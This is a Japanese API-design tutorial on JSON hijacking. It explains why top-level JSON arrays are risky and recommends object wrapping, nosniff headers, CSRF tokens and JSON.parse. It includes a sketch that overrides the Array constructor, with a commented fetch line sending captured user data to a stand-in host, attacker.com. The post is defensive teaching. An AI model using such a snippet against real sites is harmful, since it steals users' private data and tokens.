【API設計】レスポンスで直接配列を返さない方が良いといわれる理由「JSONインジェクションの実例を添えて」
初めに
Webアプリケーションを開発する上で、API設計は非常に重要な要素です。データのやり取りの「窓口」となるAPIの設計次第で、開発効率やメンテナンス性だけでなく、システムのセキュリティも大きく変わってきます。
一口に「データを返すAPI」と言っても、その形式は様々です。今回は、特にAPIがJSON形式で「配列」を返す場合に潜む、意外と見落とされがちなセキュリティリスクについて解説します。
「JSONインジェクション(またはJSONハイジャック)」と呼ばれるこの脆弱性について、その仕組みから具体的な攻撃の実例、そしてどうすれば防げるのかまで、初心者の方にも分かりやすく丁寧にご説明します。
配列を返すAPI、その実装方法の現状
APIを通じて複数のデータを取得する場合、JSON形式でデータを返すのが一般的です。このとき、返されるJSONデータの「一番外側の形(トップレベル)」には、主に以下の2つの実装方法があります。
-
JSONオブジェクトの中に配列を含める方法:
これは最も推奨される形式です。例えばユーザーの一覧を取得する場合、以下のようにトップレベルを{}
(JSONオブジェクト)とし、その中にデータの配列を格納します。{ "data": [ { "userId": 1, "name": "Alice" }, { "userId": 2, "name": "Bob" }, // ... 他のユーザーデータ ], "totalCount": 100 // メタ情報などを含めることも多い }
このように、配列自体はオブジェクトの中に含まれています。
-
配列を直接返す方法:
こちらは、APIのレスポンスのトップレベルが直接[]
(JSON配列)となる形式です。同じくユーザー一覧であれば、以下のようになります。[ { "userId": 1, "name": "Alice" }, { "userId": 2, "name": "Bob" }, // ... 他のユーザーデータ ]
シンプルで扱いやすく見えるためか、この「配列を直接返す方法」で実装されているAPIも、残念ながら(セキュリティリスクを知らずに)散見されるのが実情です。
しかし、この「配列を直接返す方法」には、「JSONインジェクション」というセキュリティ上のリスクが潜んでいます。
特別な理由がない限り、この形式は推奨されません。
では、その「JSONインジェクション」とは一体何なのでしょうか?なぜ配列を直接返すと危険なのでしょうか?詳しく見ていきましょう。
JSONインジェクションとは何か? データが見られてしまう可能性
JSONインジェクションは、APIから返されるはずの「データ」が、攻撃者によって「実行可能なコード」として悪用され、その内容が盗み見られてしまう可能性があるという脆弱性です。
この問題は、特に少し古いブラウザやJavaScriptの実行環境において顕著でした。なぜなら、それらの環境では、ウェブサイトが表示される際にサーバーから送られてくる様々な種類の情報(HTML、CSS、JavaScriptコード、画像、データなど)を、ブラウザが少し「お節介に」解釈しようとすることがあったからです。
どうやって「データ」が「コード」として実行されてしまうのか?
通常、ウェブサイトがサーバーからデータを取得する際は、JavaScriptを使って非同期に通信し、受け取ったデータを解析して画面に表示します。
しかし、攻撃者は巧妙な手口を使います。彼らは、本来データ取得のために作られたAPIのURLを、 ウェブサイトに画像を表示させる際に使う <img src="画像のURL">
タグのように、<script src="APIのURL">
という形で、自分たちの作った悪意あるウェブページに記述するのです。
ブラウザはHTMLコードの中に <script src="URL">
という記述を見つけると、そのURLに対して通信を行い、そこで取得した内容を 「JavaScriptのプログラムコード」だと思って実行しようとします。
ここで問題になるのが、APIから返された「JSONデータ(配列を直接返している形式)」です。 本来ただのデータであるはずのJSON配列 [...]
が、<script src="...">
によって読み込まれてしまうと、ブラウザはこれをJavaScriptコードの一部として解釈しようとします。
なぜ配列だと問題になりやすいのか?
JSONの {...}
(オブジェクト)と [...]
(配列)は、JavaScriptとして解釈された際の挙動が異なります。
- JSONオブジェクト
{...}
は、JavaScriptとしてはラベル付きブロックやオブジェクトリテラルとして解釈されることが多く、そのままでは意図しないコード実行には繋がりにくい傾向があります。 - 一方、JSON配列
[...]
は、JavaScriptとしては配列リテラルとして有効な式であり、代入文の右辺や関数呼び出しの引数など、様々な文脈で解釈されうる形です。
【具体的なデータ例と、見られてしまう可能性の仕組み】
仮に、あなたのウェブサイトが、ログインしているユーザーの個人的な情報(メールアドレスや、サイトで使う秘密のトークンなど)を含む配列を返すAPIを持っているとします。
APIレスポンス例:
[
{ "userId": 456, "email": "tarou.yamada@example.jp", "private_token": "xyz789...", "settings": { "lang": "ja" } }
]
このAPIのURLが、攻撃者によって <script src="あなたのサイトのAPIのURL"></script>
という形で、彼らのウェブページに仕掛けられたとします。
古いブラウザ環境などでは、攻撃者は自分のページで、以下のようなJavaScriptのコードを事前に実行させておくことができます。
// これは攻撃者が仕掛ける、危険なJavaScriptコードのイメージです
// (実際の攻撃コードはより複雑ですが、概念は同じです)
// 元々ブラウザが持っている「Array」(配列を作る機能)を一時的に覚えておく
var originalArray = Array;
// ブラウザがこれから新しくArray(配列)を作ろうとしたときに、
// まずこの function() の中を通るように仕掛ける(コンストラクタの上書き的な)
Array = function() {
// APIから返されたデータ(例: 上記のJSON配列の内容)が
// この function に「引数」として渡されてきます
// 受け取ったデータをコンソールに表示してみる
console.log("盗み見れたデータ:", arguments);
// ★★★★ ここで、受け取ったデータを攻撃者のサーバーに送信する処理を行う ★★★★
// 例: fetch('https://attacker.com/collect_data', { body: JSON.stringify(arguments[0]) });
// 元々のArrayの機能を使って、ちゃんと配列を作る処理を続ける(挙動としては違和感がないため攻撃に気づきにくくなる)
return new originalArray(...arguments);
};
// ------- 被害者が攻撃者のページにアクセスすると... --------
// 攻撃者のページに埋め込まれた以下のタグをブラウザが読み込む
// <script src="あなたのサイトのAPIのURL"></script>
// ブラウザはAPIレスポンスをJavaScriptコードとして実行しようとする。
// トップレベルの配列 `[...]` は、状況によっては Array() コンストラクタの呼び出しのように扱われることがあり、
// 上で攻撃者が仕掛けた Array = function() { ... } が実行されてしまう。
// その結果、APIから返された「ユーザーデータ」が、攻撃者のコードに捕捉され、盗み見られる。
このように、本来「データ」として安全に扱われるべき配列の内容が、攻撃者の仕掛けたJavaScriptコードによって「傍受」され、外部に送信されてしまう可能性があるのです。これがJSONインジェクションの基本的な仕組みです。
この脆弱性の影響(具体的に)
JSONインジェクション攻撃が成功した場合、以下のような深刻な影響が発生する可能性があります。
情報漏洩のリスク
APIが返却する配列に含まれるあらゆる種類の機密情報が、攻撃者に不正に取得されてしまいます。これには、ユーザーの氏名、メールアドレス、電話番号、住所といった個人情報だけでなく、パスワードのハッシュ値、決済情報(クレジットカード番号など)、企業の内部情報、秘密の鍵、サービス固有の秘密情報など、APIが返しているあらゆるデータが含まれます。攻撃者は盗んだ情報を、他の攻撃の足がかりにしたり、ブラックマーケットで売却したりする可能性があります。
セッションハイジャックの可能性
もしAPIレスポンスにユーザーのセッションIDや認証トークン(Cookieに保存されるセッションIDや、API呼び出しに使うBearerトークンなど)が含まれている場合、それらが漏洩すると、攻撃者はその情報を利用して正規のユーザーになりすますことができます。これにより、被害者がログインした状態と同様の権限で、不正な操作(情報の閲覧・変更、ユーザー設定の改ざん、不正な購入や送金など)が行われてしまう、いわゆるセッションハイジャックが発生するリスクがあります。
権限昇格・不正操作のリスク
APIレスポンスに、ユーザーの権限レベルやロール(例: is_admin: true
や role: "administrator"
といった情報)が含まれており、それが漏洩した場合、攻撃者はその情報をもとに、本来は許可されていないはずの高い権限が必要な操作を試みる可能性があります。直接的な権限昇格だけでなく、取得した情報からシステムの構造を推測し、他の脆弱性を突くための情報を得る可能性も考えられます。
対策
このJSONインジェクション脆弱性からAPIとユーザーを守るためには、以下の対策を講じることが重要です。
最も推奨される対策: レスポンスをオブジェクトでラップする
これは最も効果的で、比較的容易に導入できる対策です。APIが複数のデータを返す場合でも、レスポンスのトップレベルを直接配列にするのではなく、必ずJSONオブジェクトの中に配列を含める形式にしましょう。
例:
// ❌ 危険な形式
[ { ... }, { ... } ]
// ✅ 安全な形式
{ "data": [ { ... }, { ... } ] }
トップレベルがオブジェクト {}
である場合、<script src="...">
で読み込まれても、ブラウザは多くの場合これをJavaScriptのコードとしては実行しにくく、ラベル付きブロックなどとして解釈するため、JSONインジェクション攻撃のルートを断つことができます。
セキュリティヘッダーの適切な設定
サーバーからのAPIレスポンスには、セキュリティ関連のHTTPヘッダーを適切に設定することが非常に重要です。
-
X-Content-Type-Options: nosniff
ヘッダーを必ず含めましょう。これにより、ブラウザがサーバーから送られてきたデータのContent-Type
ヘッダーを無視して、内容から推測してJavaScriptとして実行してしまうような「お節介な」挙動を防ぐことができます。 - APIレスポンスの
Content-Type
ヘッダーをapplication/json
と正しく設定しましょう。これもブラウザがレスポンスを正しくJSONとして扱うために不可欠です。
CSRF対策の実施
JSONインジェクション攻撃は、多くの場合、CSRF(クロスサイト・リクエスト・フォージェリ)と呼ばれる手法と組み合わせて行われます。CSRFは、攻撃者が仕掛けたページをユーザーに踏ませることで、ユーザーのブラウザから意図しないリクエストを正規のサイトに送信させる攻撃です。APIへのリクエストに対してCSRFトークンによる検証を行うなどの対策を講じておくことで、攻撃者がユーザーの権限で脆弱なAPIを呼び出すことを防ぐことができ、JSONインジェクション攻撃の成立をより困難にできます。
クライアントサイドでの安全なデータ処理
APIからJSONデータを受け取るJavaScriptコードにおいても、安全な実装を心がけましょう。特に、受け取ったJSON文字列をJavaScriptのオブジェクトに変換する際には、文字列をそのままコードとして実行する危険性がある eval()
や new Function()
といった関数を絶対に使用しないでください。 常に**JSON.parse()
** を使用して、安全にパースを行いましょう。
現代におけるこの脆弱性の位置づけ
JSONインジェクション(JSONハイジャック)は、比較的古くから知られている脆弱性です。近年のモダンなウェブブラウザやJavaScript実行環境では、この種の攻撃を防ぐための様々なセキュリティ機能(例: Content Security Policy (CSP) によるスクリプト実行元の厳格な制限など)が標準で備わっており、単体での攻撃成功率は低下しています。
そのため、「もう過去の脆弱性なのでは?」と思われるかもしれません。しかし、以下の理由から、依然としてこのリスクを知っておき、対策を講じることが重要です。
- 古いブラウザや環境への対応: 全てのユーザーが最新のブラウザを使っているとは限りません。特定の古い環境に対応する必要がある場合、リスクは依然として存在します。
- セキュリティ設定の漏れ: ウェブサイトやAPIゲートウェイでのセキュリティヘッダー設定やCSP設定が不十分な場合、リスクは高まります。
- 基本的なセキュリティ原則: 「信頼できないソースからのコード実行を防ぐ」というセキュリティの基本的な原則に基づいた対策であり、他の潜在的な問題を防ぐためにも有効です。
- 多層防御の観点: 一つの対策だけに頼るのではなく、複数の対策を組み合わせる「多層防御」は、現代のセキュリティ対策において非常に重要です。JSONインジェクション対策もその一環となります。
したがって、「念のため」「より堅牢なシステムのために」という観点からも、配列を直接返すAPI形式のリスクを理解し、適切にオブジェクトラッピングやセキュリティヘッダー設定を行うことは、依然として意味のある重要な対策と言えます。
まとめ
本稿では、APIがJSON形式で「配列を直接返す」という実装方法に潜む、「JSONインジェクション」というセキュリティリスクについて解説しました。
これは、APIレスポンスが意図せず<script src="...">
として読み込まれた際に、データであるはずのJSON配列がJavaScriptコードとして解釈され、攻撃者によって機密情報が盗み見られてしまう可能性がある脆弱性です。特に古い環境で問題となりやすかったものの、基本的な対策として知っておくべき重要なリスクです。
このリスクからAPIとユーザーを守るために、以下の対策を強く推奨します。
- APIが配列を返す際は、必ずレスポンスをJSONオブジェクトでラップする形式にする。
- APIレスポンスには、
X-Content-Type-Options: nosniff
ヘッダーとContent-Type: application/json
を適切に設定する。 - 可能であれば、API全体にCSRF対策を講じる。
- クライアントサイドでは、JSONパースに
JSON.parse()
を使用する。
API設計は、システムの機能やパフォーマンスだけでなく、セキュリティをも左右します。データの「形式」一つにも潜むリスクを理解し、安全な設計を実践していくことが、信頼性の高いサービスを提供するために不可欠です。
あなたが開発・運用に関わるAPIが、このリスクに該当しないか、ぜひ一度確認してみてください。そして、必要に応じて適切な対策を講じることをお勧めします。
最後までお読みいただき、ありがとうございました。この記事が、あなたのAPI設計の一助となれば幸いです。
Discussion